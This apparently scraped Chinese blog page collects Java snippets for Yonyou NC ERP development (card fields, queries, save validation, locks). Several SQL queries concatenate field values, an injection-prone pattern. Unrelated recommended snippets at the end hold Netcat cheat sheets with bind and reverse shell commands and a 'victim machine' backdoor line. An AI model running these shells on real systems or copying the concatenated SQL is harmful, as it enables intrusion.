nc系统常用代码

1. 在字段编辑前后的类中获取值以及赋值

@Override
public void handleAppEvent(CardBodyAfterEditEvent e) {

    //获取卡片面板
    BillCardPanel card = e.getBillCardPanel();

    //卡片停止编辑 必须写在最上面
    card.stopEditing();

    //获取表体中某一行某一个字段的值,price为字段名称,e.getRow()是修改行的行标(从0开始)
    Object price = card.getBodyValueAt(e.getRow(), "price");

    //把amount值赋值给修改行的字段amount
    card.setBodyValueAt(amount, e.getRow(), "amount");

    //把值赋给表头为totalnum的字段
    card.setHeadItem("totalnum", UFDouble.sum(nnum_array));	
    
    //获取表体中的数据条数
    int bodyRows = e.getBillCardPanel().getRowCount();

    //获取表头某个字段的值
    Object receptionTypeObj = card.getHeadItem("reception_type").getValueObject();

}

2.连接数据库的几种方式

import nc.vo.hybz.hybz.HybzHVO;
import nc.itf.uap.IUAPQueryBS;
import nc.bs.framework.common.NCLocator;

//第一种方式,用于客户端
//tablename:表名  fieldname:字段名称  strwhere:查询条件
HYPubBO_Client.findColValue(tablename, fieldname, strwhere);
//从数据库中查询数据,findColValue(表名,字段名,查询条件)
Object value = HYPubBO_Client.findColValue("zdbz_zdbz_h", "pk_head", " reception_type='"+receptionType+"' and reception_level = '"+receptionLevel+"' and pk_head <> '"+pk_head+"' and nvl(dr,0)=0");

//第二种方式,随时可用
IUAPQueryBS bs = NCLocator.getInstance().lookup(IUAPQueryBS.class);
//bs.executeQuery("sql", new MapListProcessor()); MapListProcessor查询语句可以返回多行结果
//bs.executeQuery("", new BeanProcessor(type));BeanProcessor查询语句只返回一个VO
//ColumnProcessor查询语句只能返回一行一列结果
//ArrayListProcessor查询语句可以返回多行多列
//MapProcessor查询语句只返回一行结果
//BeanListProcessor查询语句返回多个VO

例如:
String meetingLevel = clientFullVOs[0].getParentVO().getMeeting_level();
String regionType = clientFullVOs[0].getParentVO().getRegion_type();
			
IUAPQueryBS bs = NCLocator.getInstance().lookup(IUAPQueryBS.class);
			
try {
	    String sql = "select count(1) from hybz_hybz_h where 1=1 and dr=0 and meeting_level='"+meetingLevel+"' and region_type='"+regionType+"'";
		Vector vector = (Vector)bs.executeQuery(sql, new VectorProcessor());
				
		if(vector != null && !vector.isEmpty()){
			Integer num = new Integer(((Vector)vector.get(0)).get(0).toString());
				if(num>0){
						MessageDialog.showOkCancelDlg(new Container(), "警告", "该会议费标准已存在,请重新输入或选择");						
		        }else{
						processor = new CompareAroundProcesser<HybzBillVO>(
								HybzPluginPoint.SCRIPT_INSERT);
						// TODO 在此处添加前后规则
						   IRule<HybzBillVO> rule=null;
				}
		}
} catch (BusinessException e1) {
	// TODO 自动生成的 catch 块
	e1.printStackTrace();
}

//第三种方式,私有端使用
new BaseDAO().executeQuery(arg0, arg1);

3.怎样在新写的action中获得 BillCardPanel 卡片面板

package nc.ui.fytz.hybz.action;

import java.awt.event.ActionEvent;

import nc.ui.pub.beans.MessageDialog;
import nc.ui.pub.bill.BillCardPanel;
import nc.ui.pubapp.uif2app.actions.pflow.SaveScriptAction;
import nc.ui.pubapp.uif2app.model.BillManageModel;
import nc.ui.pubapp.uif2app.view.ShowUpableBillForm;
import nc.ui.trade.business.HYPubBO_Client;

/**
 * 会议费标准保存
 * @author ChenSiyi
 *
 */
public class MySaveScriptAction extends SaveScriptAction {
	
	private BillManageModel model;
	private ShowUpableBillForm editor;
	
	public BillManageModel getModel() {
		return model;
	}

	public void setModel(BillManageModel model) {
		this.model = model;
		this.model.addAppEventListener(this);
		super.model = model;
	}

	public ShowUpableBillForm getEditor() {
		return editor;
	}

	public void setEditor(ShowUpableBillForm editor) {
		this.editor = editor;
		super.editor = editor;
	}

	@Override
	public void doAction(ActionEvent e) throws Exception {
		
		BillCardPanel card = this.getEditor().getBillCardPanel();
		
		//卡片停止编辑
		card.stopEditing();
				
		String pk_head = null;
		String meetingLevel = null;
		String regionType = null;
		
		//1、非空验证
		
		//会议级别非空判断
		Object meeting_levelObj = card.getHeadItem("meeting_level").getValueObject();
		if(meeting_levelObj != null){
			meetingLevel = meeting_levelObj.toString();
		}else{
			MessageDialog.showWarningDlg(card, "警告", "会议级别字段值为空,不能进行保存操作!");
			return;
		}
		
		//地区类别非空判断
		Object region_typeObj = card.getHeadItem("region_type").getValueObject();
		if(region_typeObj != null){
			regionType = region_typeObj.toString();
		}else{
			MessageDialog.showWarningDlg(card, "警告", "地区类别字段值为空,不能进行保存操作!");
			return;
		}
		
		//主键非空判断
		Object pk_headObj = card.getHeadItem("pk_head").getValueObject();
		if(pk_headObj != null){
			pk_head = pk_headObj.toString();
		}
		
		//住宿费非空判断
		Object stayCost = card.getHeadItem("stay_cost").getValueObject();
		if(stayCost == null){
			MessageDialog.showWarningDlg(card, "警告", "住宿费为空,不能进行保存操作!");
			return;
		}
		
		//餐饮费非空判断
		Object repastCost = card.getHeadItem("repast_cost").getValueObject();
		if(repastCost == null){
			MessageDialog.showWarningDlg(card, "警告", "餐饮费为空,不能进行保存操作!");
			return;
		}
		
		//2、查询数据
		//判断新增还是修改,pk_head存在则为修改,不存在则为添加
		if(pk_head != null){
			
			//从数据库中查询数据,findColValue(表名,字段名,查询条件) and pk_head <> '"+pk_head+"'
			Object value = HYPubBO_Client.findColValue("hybz_hybz_h", "pk_head", " meeting_level='"+meetingLevel+"' and region_type='"+regionType+"' and nvl(dr,0)=0");			
			//不为空则表示数据库中已存在这条数据,为空则添加数据
			if(value != null){
				MessageDialog.showWarningDlg(card, "警告", "该会议费标准已存在,不能保存!");
				return;
			}
		}else{
			Object value = HYPubBO_Client.findColValue("hybz_hybz_h", "pk_head", " meeting_level='"+meetingLevel+"' and region_type='"+regionType+"' and nvl(dr,0)=0");
			if(value != null){
				MessageDialog.showWarningDlg(card, "警告", "该会议费标准已存在,不能保存!");
				return;
			}
		}

		super.doAction(e);
	}

}

在界面的XML中找到保存saveAction

 

和以下代码对应

4.隐藏字段

//表体隐藏
BillData bs =getBillCardPanel().getBillData();
BillItem[] items =bs.getBillModel().getBodyItems();
for (int i = 0; i <items.length; i++) {
    items[i].setShow(false);
}
getBillCardPanel().setBillData(bs);
//表头隐藏
billCardPanel.getHeadItem("aaa").getComponent().setVisible(false); 
 
billCardPanel.getHeadItem("aaa").getCaptionLabel().setText("");

5.代码执行公式

//表头
getBillCardPanel().execHeadLoadFormulas();
//表体
getBillCardPanel().getBillModel().execLoadFormula();
//表体某行、某个字段执行
getBillCardPanel().execBodyFormula(i,"pk_supdoc");
 
// 列表执行 案例
String[] strs = new String[8];
String pk_wuliao_pk_measdoc_strFomula = "pk_wuliao.pk_measdoc->getcolvalue(bd_material,pk_measdoc,pk_material,pk_wuliao);";
        		String pk_wuliao_pk_marbasclass_strFomula = "pk_wuliao.pk_marbasclass->getcolvalue(bd_material,pk_marbasclass,pk_material,pk_wuliao);";
        		String pk_wuliao_flname_strFomula = "pk_wuliao.pk_marbasclass.name->getcolvalue(bd_marbasclass,name,pk_marbasclass,pk_wuliao.pk_marbasclass);";
        		String pk_wuliao_dwname_strFomula = "pk_wuliao.pk_measdoc.name->getcolvalue(bd_measdoc,name,pk_measdoc,pk_wuliao.pk_measdoc);";
        		String pk_wuliao_name_strFomula = "pk_wuliao.name->getcolvalue(bd_material,name,pk_material,pk_wuliao);";
        		String pk_wuliao_materialtype_strFomula = "pk_wuliao.materialtype->getcolvalue(bd_material,materialtype,pk_material,pk_wuliao);";
        		String pk_wuliao_materialspec_strFomula = "pk_wuliao.materialspec->getcolvalue(bd_material,materialspec,pk_material,pk_wuliao);";
        		String pk_wuliao_strFomula = "pk_wuliao->getcolvalue(bd_material,code,pk_material,pk_wuliao);";
        		strs[0]=pk_wuliao_pk_marbasclass_strFomula;
        		strs[1]=pk_wuliao_pk_measdoc_strFomula;
        		strs[2]=pk_wuliao_flname_strFomula;
        		strs[3]=pk_wuliao_dwname_strFomula;
        		strs[4]=pk_wuliao_name_strFomula;
        		strs[5]=pk_wuliao_materialtype_strFomula;
        		strs[6]=pk_wuliao_materialspec_strFomula;
        		strs[7]=pk_wuliao_strFomula;
        		getbillListPanel().getBodyBillModel().execFormulas(strs);

6.字段下拉

getBillCardWrapper().initHeadComboBox("wlname",new String[]{"A","B","C"}, true);

7.参照相关

1.表头参照多选取值
 
((UIRefPane)billCardPanel.getHeadItem("aaa").getComponent()).getRefModel().getPkValues();
 
2.动态指定参照类
 
((UIRefPane)(getBillCardPanelWrapper().getBillCardPanel().getHeadItem("字段").getComponent())).setRefModel(参照类.class);
 
3.设置参照是否支持多选
 
((UIRefPane)editor.getBillCardPanel().getHeadItem("aaa").getComponent()).setMultiSelectedEnabled(true);
 
4.判断是否参照类型:
 
Object obj =((UIRefPane)getBillCardPanel().getHeadItem("").getComponent()).getRefModel();

8.下拉去掉空白选项

        单据模板设置必输即可 

9.获取表体所有页签名

getBillCardPanel().getBillData().getBodyTableCodes();

10.取得某个页签上的vo 

BillModel tempmodel = getEditor().getBillCardPanel().getBillModel("id_oadjtb_d");
OadjtbDVO[] dvos = (OadjtbDVO[]) tempmodel.getBodyValueVOs(OadjtbDVO.class.getName());
if(dvos!=null&&dvos.length>0)
{
 
}
 
ZzyjhBVO[] yjhbvos = (ZzyjhBVO[]) getEditor().getBillCardPanel().getBillModel().getBodyValueVOs(ZzyjhBVO.class.getName());
 
 
 
AggZzyjhHVO aggvo = (AggZzyjhHVO) getEditor().getBillCardPanel().getBillValueVO(AggZzyjhHVO.class.getName(),ZzyjhHVO.class.getName(),ZzyjhBVO.class.getName());

11.单据状态栏---输出消息

ShowStatusBarMsgUtil.showStatusBarMsg("执行成功!", model.getContext());

12.获取当前时间 当前年 当前月 当前集团 当前公司 

CurTime.getCurrentTimeStampString();
 
//NC5X 
UFDate today = ClientEnvironment.getInstance().getDate();
String pk_corp = ClientEnvironment.getInstance().getCorporation().getPrimaryKey();
UFDate today = ClientEnvironment.getInstance().getBusinessDate();
String dDate = today.toString();
String cyear = ""+today.getYear();
String cmonth = today.getStrMonth();
 
 
//NC6X
String user = this.model.getContext().getPk_loginUser();// 当前登录用户
String pk_group = this.model.getContext().getPk_group();//当前登录集团
UFDate today = AppContext.getInstance().getBusiDate();
String pk_user = AppContext.getInstance().getPkUser();
String dDate = today.toString();
String cyear = ""+today.getYear();
String cmonth = today.getStrMonth();

13.UFDouble 保留2位有效数字

(1)单据模板初始化中设置

(2) new UFDouble().setScale(2,UFDouble.ROUND_HALF_UP);

14.字段 编辑态不可改,新增态可改

在EditAction中重载doAction方法中加入如下代码
BillItem txtCode = cardPanel.getHeadItem(CODE);(获取字段控件)
txtCode.setEdit(true);(设置编辑态可见,这个不影响控件可编辑性。这名字容易误导,被它还惨了。)
txtCode.setEnabled(false);(设置可编辑,是否可编辑要设置这个。)

 15.自定义参照

1)自定义一个RefModel继承自AbstractRefModel。
2)手动在bd_refinfo中插入一条数据refclass对应自定义的refmodel全路径。
3)在refmodel的vo元数据bmf参照中设置参照。(一般文档里都不说这一步,导致元数据引用时出不来参照。)
4)其他元数据ref时就可以出来来参照了

16.编辑时 切换某个页签 

 e.getBillCardPanel().getBodyTabbedPane().setSelectedIndex(0);

17.获取某个页签下的总行数与值

int rowb = e.getBillCardPanel().getRowCount();
for (int i = 0; i < rowb; i++) 
{
    Object temp = e.getBillCardPanel().getBodyValueAt(i,"字段名");
}

 18.根据主键查询hvo  bvo

    @Override
	public BzqcHVO queryBzqcHVOByPk(String pk_bzqc) throws BusinessException {
		BaseDAO dao = new BaseDAO(design);
		BzqcHVO vo = null;
		vo = (BzqcHVO) dao.retrieveByPK(BzqcHVO.class,pk_bzqc);	
		return vo;
	}
 
	@Override
	public BzqcBVO[] queryBzqcBVOSByPk(String pk_bzqc) throws BusinessException {
		BaseDAO dao = new BaseDAO(design);
		String wheresql = " dr = 0 and pk_bzqc = '"+pk_bzqc+"' ";
		List<BzqcBVO> bodyVos = (List<BzqcBVO>) dao.retrieveByClause(BzqcBVO.class, wheresql);
		BzqcBVO[] bvos = (BzqcBVO[]) bodyVos.toArray(new BzqcBVO[0]);
		return bvos;
	}

19.业务锁

 
	//业务锁:把业务锁放在事务之外,可行原因主要有业务锁不是基于数据库和业务锁是基于Select的处理,无需事务。
	public void updateAreaclVO(AreaclVO vo) {
		boolean islock = PKLock.getInstance().acquireLock(vo.getPrimaryKey(),null, null);
if (!islock)
			try {
				throw new nc.vo.pub.BusinessException(nc.vo.bd.BDMsg.MSG_LOCKED());
			} catch (BusinessException e1) {
				// TODO Auto-generated catch block
				e1.printStackTrace();
			}
		try {
			String[] updateFields = null;
			String[] fields = vo.getAttributeNames();
			Vector v = new Vector();
			v.add("vdef1");
			if (v.size() > 0) {
				updateFields = new String[v.size()];
				updateFields = (String[]) v.toArray(updateFields);
			}
			try {
				new BaseDAO().updateVO(vo, updateFields);
			} catch (DAOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
		}
		// 解锁
		finally {
			PKLock.getInstance().releaseLock(vo.getPrimaryKey(), null, null);
		}
	}
 

 20.读取文件

   public class ExceptionTest {
        public static void main(String[] args) {
            String file = "D:\\exceptionTest.txt";
            FileReader reader;
            try {
                reader = new FileReader(file);
                Scanner in = new Scanner(reader);  
                String string = in.next();  
                System.out.println(string + "不知道我有幸能够执行到不.....");
            } catch (FileNotFoundException e) {
                e.printStackTrace();
                System.out.println("对不起,你执行不到...");
            }  
            finally{
                System.out.println("finally 在执行...");
            }
        }
    }

 

 

 

 

  • 4
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
软件介绍: 工具名:Netcat 作者:Hobbit && Chris Wysopal 类别:开放源码 平台:Linux/BSD/Unix/Windows WINDOWS下版本号:[v1.10 NT] 参数介绍: *nc.exe -h*即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] … nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出–用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉–用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法: 1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令”|”与重定向命令””等等命令功能更强大……)。 ======================================================== 高级用法: 6)作攻击程序用,例子: 格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 c:log.txt 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志 附:*c:log.txt*为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中 10) 后门 victim machine: //受害者的机器 nc -l -p port -e cmd //win2000 nc -l -p port -e /bin/sh //unix,linux
瑞士军刀:nc.exe 参数说明: -h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名 -o film记录16进制的传输 -p[空格]端口 本地端口号 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出,用-vv将更详细 -w数字 timeout延时间隔 -z 将输入,输出关掉(用于扫锚时) 基本用法: nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 nc -l -p 80 开启本机的TCP 80端口并监听 nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 高级用法: nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 本机上用:nc -l -p 本机端口 在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值